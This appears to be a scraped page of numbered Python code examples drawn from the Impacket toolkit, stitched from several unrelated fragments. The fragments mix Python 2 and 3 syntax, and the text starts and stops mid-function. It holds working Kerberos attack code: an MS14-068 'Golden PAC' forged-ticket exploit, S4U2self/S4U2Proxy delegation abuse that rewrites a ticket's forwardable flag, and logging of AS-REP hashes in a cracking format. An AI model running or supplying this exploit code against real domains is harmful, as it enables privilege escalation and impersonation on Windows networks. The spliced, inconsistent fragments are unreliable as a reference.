    asReq['padata'][0]['padata-value'] = encodedPacRequest

    reqBody = seq_set(asReq, 'req-body')

    opts = list()
    opts.append(constants.KDCOptions.forwardable.value)
    opts.append(constants.KDCOptions.renewable.value)
    opts.append(constants.KDCOptions.proxiable.value)
    reqBody['kdc-options'] = constants.encodeFlags(opts)

    seq_set(reqBody, 'sname', serverName.components_to_asn1)
    seq_set(reqBody, 'cname', clientName.components_to_asn1)

    if domain == '':
        raise Exception('Empty Domain not allowed in Kerberos')

    reqBody['realm'] = domain

    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['rtime'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] = rand.getrandbits(31)

    # Yes.. this shouldn't happen but it's inherited from the past
    if aesKey is None:
        aesKey = b''

    if nthash == b'':
        # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough,
        # but I found some systems that accepts all ciphers, and trigger an error
        # when requesting subsequent TGS :(. More research needed.
        # So, in order to support more than one cypher, I'm setting aes first
        # since most of the systems would accept it. If we're lucky and
        # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.
        if aesKey != b'':
            if len(aesKey) == 32:
                supportedCiphers = (int(
                    constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), )
            else:
                supportedCiphers = (int(
                    constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), )
        else:
            supportedCiphers = (int(
                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), )
    else:
        # We have hashes to try, only way is to request RC4 only
        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), )

    seq_set_iter(reqBody, 'etype', supportedCiphers)

    message = encoder.encode(asReq)

    try:
        r = sendReceive(message, domain, kdcHost)
    except KerberosError as e:
        if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
            if supportedCiphers[0] in (
                    constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
                    constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
            ) and aesKey == b'':
                supportedCiphers = (int(
                    constants.EncryptionTypes.rc4_hmac.value), )
                seq_set_iter(reqBody, 'etype', supportedCiphers)
                message = encoder.encode(asReq)
                r = sendReceive(message, domain, kdcHost)
            else:
                raise
        else:
            raise

    # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
    # 'Do not require Kerberos preauthentication' set
    preAuth = True
    try:
        asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
    except:
        # Most of the times we shouldn't be here, is this a TGT?
        asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
        # Yes
        preAuth = False

    encryptionTypesData = dict()
    salt = ''
    if preAuth is False:
        # In theory, we should have the right credentials for the etype specified before.
        methods = asRep['padata']
        encryptionTypesData[supportedCiphers[
            0]] = salt  # handle RC4 fallback, we don't need any salt
        tgt = r
    else:
        methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0]

    for method in methods:
        if method[
                'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
            etypes2 = decoder.decode(method['padata-value'],
                                     asn1Spec=ETYPE_INFO2())[0]
            for etype2 in etypes2:
                try:
                    if etype2['salt'] is None or etype2['salt'].hasValue(
                    ) is False:
                        salt = ''
                    else:
                        salt = etype2['salt'].prettyPrint()
                except PyAsn1Error:
                    salt = ''

                encryptionTypesData[etype2['etype']] = b(salt)
        elif method[
                'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:
            etypes = decoder.decode(method['padata-value'],
                                    asn1Spec=ETYPE_INFO())[0]
            for etype in etypes:
                try:
                    if etype['salt'] is None or etype['salt'].hasValue(
                    ) is False:
                        salt = ''
                    else:
                        salt = etype['salt'].prettyPrint()
                except PyAsn1Error:
                    salt = ''

                encryptionTypesData[etype['etype']] = b(salt)

    enctype = supportedCiphers[0]

    cipher = _enctype_table[enctype]

    # Pass the hash/aes key :P
    if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''):
        key = Key(cipher.enctype, nthash)
    elif aesKey != b'':
        key = Key(cipher.enctype, aesKey)
    else:
        key = cipher.string_to_key(password, encryptionTypesData[enctype],
                                   None)

    if preAuth is True:
        if enctype in encryptionTypesData is False:
            raise Exception('No Encryption Data Available!')

        # Let's build the timestamp
        timeStamp = PA_ENC_TS_ENC()

        now = datetime.datetime.utcnow()
        timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
        timeStamp['pausec'] = now.microsecond

        # Encrypt the shyte
        encodedTimeStamp = encoder.encode(timeStamp)

        # Key Usage 1
        # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
        # client key (Section 5.2.7.2)
        encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)

        encryptedData = EncryptedData()
        encryptedData['etype'] = cipher.enctype
        encryptedData['cipher'] = encriptedTimeStamp
        encodedEncryptedData = encoder.encode(encryptedData)

        # Now prepare the new AS_REQ again with the PADATA
        # ToDo: cannot we reuse the previous one?
        asReq = AS_REQ()

        asReq['pvno'] = 5
        asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)

        asReq['padata'] = noValue
        asReq['padata'][0] = noValue
        asReq['padata'][0]['padata-type'] = int(
            constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
        asReq['padata'][0]['padata-value'] = encodedEncryptedData

        asReq['padata'][1] = noValue
        asReq['padata'][1]['padata-type'] = int(
            constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        asReq['padata'][1]['padata-value'] = encodedPacRequest

        reqBody = seq_set(asReq, 'req-body')

        opts = list()
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)
        opts.append(constants.KDCOptions.proxiable.value)
        reqBody['kdc-options'] = constants.encodeFlags(opts)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        seq_set(reqBody, 'cname', clientName.components_to_asn1)

        reqBody['realm'] = domain

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['rtime'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = rand.getrandbits(31)

        seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), )))

        try:
            tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
        except Exception as e:
            if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:
                if lmhash == b'' and nthash == b'' and (aesKey == b''
                                                        or aesKey is None):
                    from impacket.ntlm import compute_lmhash, compute_nthash
                    lmhash = compute_lmhash(password)
                    nthash = compute_nthash(password)
                    return getKerberosTGT(clientName, password, domain, lmhash,
                                          nthash, aesKey, kdcHost, requestPAC)
            raise

        asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]

    # So, we have the TGT, now extract the new session key and finish
    cipherText = asRep['enc-part']['cipher']

    if preAuth is False:
        # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
        LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' %
                  (asRep['enc-part']['etype'], clientName, domain,
                   hexlify(asRep['enc-part']['cipher'].asOctets()[:16]),
                   hexlify(asRep['enc-part']['cipher'].asOctets()[16:])))
    # Key Usage 3
    # AS-REP encrypted part (includes TGS session key or
    # application session key), encrypted with the client key
    # (Section 5.4.2)
    try:
        plainText = cipher.decrypt(key, 3, cipherText)
    except InvalidChecksum as e:
        # probably bad password if preauth is disabled
        if preAuth is False:
            error_msg = "failed to decrypt session key: %s" % str(e)
            raise SessionKeyDecryptionError(error_msg, asRep, cipher, key,
                                            cipherText)
        raise
    encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0]

    # Get the session key and the ticket
    cipher = _enctype_table[encASRepPart['key']['keytype']]
    sessionKey = Key(cipher.enctype,
                     encASRepPart['key']['keyvalue'].asOctets())

    # ToDo: Check Nonces!

    return tgt, cipher, key, sessionKey
Beispiel #7
0
    def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
        # Get out Golden PAC
        goldenPAC = self.getGoldenPAC(authTime)

        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
        ifRelevant = AD_IF_RELEVANT()
        ifRelevant[0] = None
        ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
        ifRelevant[0]['ad-data'] = goldenPAC

        encodedIfRelevant = encoder.encode(ifRelevant)

        # Key Usage 4
        # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
        # the TGS session key (Section 5.4.1)
        encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)

        tgsReq = TGS_REQ()
        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append( constants.KDCOptions.forwardable.value )
        opts.append( constants.KDCOptions.renewable.value )
        opts.append( constants.KDCOptions.proxiable.value )

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = str(decodedTGT['crealm'])

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.SystemRandom().getrandbits(31)
        seq_set_iter(reqBody, 'etype', (cipher.enctype,))
        reqBody['enc-authorization-data'] = None
        reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
        reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow() 
        authenticator['cusec'] =  now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = None
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = None
        tgsReq['padata'][0] = None
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = False
        encodedPacRequest = encoder.encode(pacRequest)

        tgsReq['padata'][1] = None
        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        tgsReq['padata'][1]['padata-value'] = encodedPacRequest

        message = encoder.encode(tgsReq)

        r = sendReceive(message, domain, kdcHost)

        # Get the session key
        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
        cipherText = tgs['enc-part']['cipher']

        # Key Usage 8
        # TGS-REP encrypted part (includes application session
        # key), encrypted with the TGS session key (Section 5.4.2)
        plainText = cipher.decrypt(sessionKey, 8, str(cipherText))

        encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]

        newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue']))
    
        return r, cipher, sessionKey, newSessionKey
Beispiel #8
0
    def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey,
              kdcHost):
        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1(decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('AUTHENTICATOR')
            print(authenticator.prettyPrint())
            print('\n')

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
                                                       encodedAuthenticator,
                                                       None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] = 5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(
            constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
        # requests a service ticket to itself on behalf of a user. The user is
        # identified to the KDC by the user's name and realm.
        clientName = Principal(
            self.__options.impersonate,
            type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        S4UByteArray = struct.pack(
            '<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
        S4UByteArray += self.__options.impersonate.encode(
        ) + self.__domain.encode() + b'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('S4UByteArray')
            hexdump(S4UByteArray)

        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
        # with the following three parameters: the session key of the TGT of
        # the service performing the S4U2Self request, the message type value
        # of 17, and the byte array S4UByteArray.
        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('CheckSum')
            hexdump(checkSum)

        paForUserEnc = PA_FOR_USER_ENC()
        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
        paForUserEnc['userRealm'] = self.__domain
        paForUserEnc['cksum'] = noValue
        paForUserEnc['cksum']['cksumtype'] = int(
            constants.ChecksumTypes.hmac_md5.value)
        paForUserEnc['cksum']['checksum'] = checkSum
        paForUserEnc['auth-package'] = 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('PA_FOR_USER_ENC')
            print(paForUserEnc.prettyPrint())

        encodedPaForUserEnc = encoder.encode(paForUserEnc)

        tgsReq['padata'][1] = noValue
        tgsReq['padata'][1]['padata-type'] = int(
            constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)
        opts.append(constants.KDCOptions.canonicalize.value)

        reqBody['kdc-options'] = constants.encodeFlags(opts)

        serverName = Principal(
            self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = str(decodedTGT['crealm'])

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)
        seq_set_iter(reqBody, 'etype', (int(
            cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('Final TGS')
            print(tgsReq.prettyPrint())

        logging.info('\tRequesting S4U2self')
        message = encoder.encode(tgsReq)

        r = sendReceive(message, self.__domain, kdcHost)

        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('TGS_REP')
            print(tgs.prettyPrint())

        if self.__force_forwardable:
            # Convert hashes to binary form, just in case we're receiving strings
            if isinstance(nthash, str):
                try:
                    nthash = bytes.fromhex(nthash)
                except TypeError:
                    pass
            if isinstance(aesKey, str):
                try:
                    aesKey = bytes.fromhex(aesKey)
                except TypeError:
                    pass

            # Compute NTHash and AESKey if they're not provided in arguments
            if self.__password != '' and self.__domain != '' and self.__user != '':
                if not nthash:
                    nthash = compute_nthash(self.__password)
                    if logging.getLogger().level == logging.DEBUG:
                        logging.debug('NTHash')
                        print(nthash.hex())
                if not aesKey:
                    salt = self.__domain.upper() + self.__user
                    aesKey = _AES256CTS.string_to_key(self.__password,
                                                      salt,
                                                      params=None).contents
                    if logging.getLogger().level == logging.DEBUG:
                        logging.debug('AESKey')
                        print(aesKey.hex())

            # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
            cipherText = tgs['ticket']['enc-part']['cipher']

            # Check which cipher was used to encrypt the ticket. It's not always the same
            # This determines which of our keys we should use for decryption/re-encryption
            newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
            if newCipher.enctype == Enctype.RC4:
                key = Key(newCipher.enctype, nthash)
            else:
                key = Key(newCipher.enctype, aesKey)

            # Decrypt and decode the ticket
            # Key Usage 2
            # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
            #  application session key), encrypted with the service key
            #  (section 5.4.2)
            plainText = newCipher.decrypt(key, 2, cipherText)
            encTicketPart = decoder.decode(plainText,
                                           asn1Spec=EncTicketPart())[0]

            # Print the flags in the ticket before modification
            logging.debug('\tService ticket from S4U2self flags: ' +
                          str(encTicketPart['flags']))
            logging.debug('\tService ticket from S4U2self is' + ('' if (
                encTicketPart['flags'][TicketFlags.forwardable.value] == 1
            ) else ' not') + ' forwardable')

            # Customize flags the forwardable flag is the only one that really matters
            logging.info('\tForcing the service ticket to be forwardable')
            # convert to string of bits
            flagBits = encTicketPart['flags'].asBinary()
            # Set the forwardable flag. Awkward binary string insertion
            flagBits = flagBits[:TicketFlags.forwardable.
                                value] + '1' + flagBits[TicketFlags.
                                                        forwardable.value + 1:]
            # Overwrite the value with the new bits
            encTicketPart['flags'] = encTicketPart['flags'].clone(
                value=flagBits)  # Update flags

            logging.debug('\tService ticket flags after modification: ' +
                          str(encTicketPart['flags']))
            logging.debug('\tService ticket now is' + ('' if (
                encTicketPart['flags'][TicketFlags.forwardable.value] == 1
            ) else ' not') + ' forwardable')

            # Re-encode and re-encrypt the ticket
            # Again, Key Usage 2
            encodedEncTicketPart = encoder.encode(encTicketPart)
            cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)

            # put it back in the TGS
            tgs['ticket']['enc-part']['cipher'] = cipherText

        ################################################################################
        # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
        # So here I have a ST for me.. I now want a ST for another service
        # Extract the ticket from the TGT
        ticketTGT = Ticket()
        ticketTGT.from_asn1(decodedTGT['ticket'])

        # Get the service ticket
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticketTGT.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1(decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
                                                       encodedAuthenticator,
                                                       None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] = 5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(
            constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        # Add resource-based constrained delegation support
        paPacOptions = PA_PAC_OPTIONS()
        paPacOptions['flags'] = constants.encodeFlags(
            (constants.PAPacOptions.resource_based_constrained_delegation.
             value, ))

        tgsReq['padata'][1] = noValue
        tgsReq['padata'][1][
            'padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
        tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        # This specified we're doing S4U
        opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
        opts.append(constants.KDCOptions.canonicalize.value)
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        service2 = Principal(
            self.__options.spn,
            type=constants.PrincipalNameType.NT_SRV_INST.value)
        seq_set(reqBody, 'sname', service2.components_to_asn1)
        reqBody['realm'] = self.__domain

        myTicket = ticket.to_asn1(TicketAsn1())
        seq_set_iter(reqBody, 'additional-tickets', (myTicket, ))

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)
        seq_set_iter(reqBody, 'etype',
                     (int(constants.EncryptionTypes.rc4_hmac.value),
                      int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
                      int(constants.EncryptionTypes.des_cbc_md5.value),
                      int(cipher.enctype)))
        message = encoder.encode(tgsReq)

        logging.info('\tRequesting S4U2Proxy')
        r = sendReceive(message, self.__domain, kdcHost)

        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

        cipherText = tgs['enc-part']['cipher']

        # Key Usage 8
        # TGS-REP encrypted part (includes application session
        # key), encrypted with the TGS session key (Section 5.4.2)
        plainText = cipher.decrypt(sessionKey, 8, cipherText)

        encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]

        newSessionKey = Key(encTGSRepPart['key']['keytype'],
                            encTGSRepPart['key']['keyvalue'])

        # Creating new cipher based on received keytype
        cipher = _enctype_table[encTGSRepPart['key']['keytype']]

        return r, cipher, sessionKey, newSessionKey
Beispiel #9
0
    def exploit(self):
        self.__domainSid, self.__rid = self.getUserSID()

        userName = Principal(
            self.__username,
            type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        while True:
            try:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                    userName,
                    self.__password,
                    self.__domain,
                    self.__lmhash,
                    self.__nthash,
                    None,
                    self.__kdcHost,
                    requestPAC=False)
            except KerberosError, e:
                if e.getErrorCode(
                ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password)
                        self.__nthash = compute_nthash(self.__password)
                        continue
                    else:
                        raise
                else:
                    raise

            # So, we have the TGT, now extract the new session key and finish
            asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]

            # If the cypher in use != RC4 there's gotta be a salt for us to use
            salt = ''
            if asRep['padata']:
                for pa in asRep['padata']:
                    if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                        etype2 = decoder.decode(
                            str(pa['padata-value'])[2:],
                            asn1Spec=ETYPE_INFO2_ENTRY())[0]
                        salt = str(etype2['salt'])

            cipherText = asRep['enc-part']['cipher']

            # Key Usage 3
            # AS-REP encrypted part (includes TGS session key or
            # application session key), encrypted with the client key
            # (Section 5.4.2)
            if self.__nthash != '':
                key = Key(cipher.enctype, self.__nthash)
            else:
                key = cipher.string_to_key(self.__password, salt, None)

            plainText = cipher.decrypt(key, 3, str(cipherText))
            encASRepPart = decoder.decode(plainText,
                                          asn1Spec=EncASRepPart())[0]
            authTime = encASRepPart['authtime']

            serverName = Principal(
                'krbtgt/%s' % self.__domain.upper(),
                type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(
                serverName, domain, self.__kdcHost, tgt, cipher, sessionKey,
                authTime)

            # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
            serverName = Principal(
                'cifs/%s' % self.__target,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(
                    serverName, domain, self.__kdcHost, tgs, cipher,
                    sessionKey)
            except KerberosError, e:
                if e.getErrorCode(
                ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password)
                        self.__nthash = compute_nthash(self.__password)
                    else:
                        raise
                else:
                    raise
Beispiel #10
0
class MS14_068:
    # 6.1.  Unkeyed Checksums
    # Vulnerable DCs are accepting at least these unkeyed checksum types
    CRC_32  = 1
    RSA_MD4 = 2
    RSA_MD5 = 7
    class VALIDATION_INFO(TypeSerialization1):
        structure = (
            ('Data', PKERB_VALIDATION_INFO),
        )

    def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
                 copyFile=None, writeTGT=None, kdcHost=None):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__rid = 0
        self.__lmhash = ''
        self.__nthash = ''
        self.__target = target
        self.__targetIp = targetIp
        self.__kdcHost = None
        self.__copyFile = copyFile
        self.__command = command
        self.__writeTGT = writeTGT
        self.__domainSid = ''
        self.__forestSid = None
        self.__domainControllers = list()
        self.__kdcHost = kdcHost

        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')
            self.__lmhash = unhexlify(self.__lmhash)
            self.__nthash = unhexlify(self.__nthash)

    def getGoldenPAC(self, authTime):
        # Ok.. we need to build a PAC_TYPE with the following items

        # 1) KERB_VALIDATION_INFO
        aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))

        unixTime = getFileTime(aTime)

        kerbdata = KERB_VALIDATION_INFO()

        kerbdata['LogonTime']['dwLowDateTime']           = unixTime & 0xffffffff
        kerbdata['LogonTime']['dwHighDateTime']          = unixTime >>32

        # LogoffTime: A FILETIME structure that contains the time the client's logon 
        # session should expire. If the session should not expire, this structure 
        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime 
        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as 
        # an indicator of when to warn the user that the allowed time is due to expire.
        kerbdata['LogoffTime']['dwLowDateTime']          = 0xFFFFFFFF
        kerbdata['LogoffTime']['dwHighDateTime']         = 0x7FFFFFFF

        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user 
        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the 
        # client should not be logged off, this structure SHOULD have the dwHighDateTime 
        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. 
        # The Kerberos service ticket end time is a replacement for KickOffTime. 
        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of 
        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator 
        # of when the client should be forcibly disconnected.
        kerbdata['KickOffTime']['dwLowDateTime']         = 0xFFFFFFFF
        kerbdata['KickOffTime']['dwHighDateTime']        = 0x7FFFFFFF

        kerbdata['PasswordLastSet']['dwLowDateTime']     = 0
        kerbdata['PasswordLastSet']['dwHighDateTime']    = 0

        kerbdata['PasswordCanChange']['dwLowDateTime']   = 0
        kerbdata['PasswordCanChange']['dwHighDateTime']  = 0
        
        # PasswordMustChange: A FILETIME structure that contains the time at which
        # theclient's password expires. If the password will not expire, this 
        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the 
        # dwLowDateTime member set to 0xFFFFFFFF.
        kerbdata['PasswordMustChange']['dwLowDateTime']  = 0xFFFFFFFF
        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF

        kerbdata['EffectiveName']      = self.__username
        kerbdata['FullName']           = ''
        kerbdata['LogonScript']        = ''
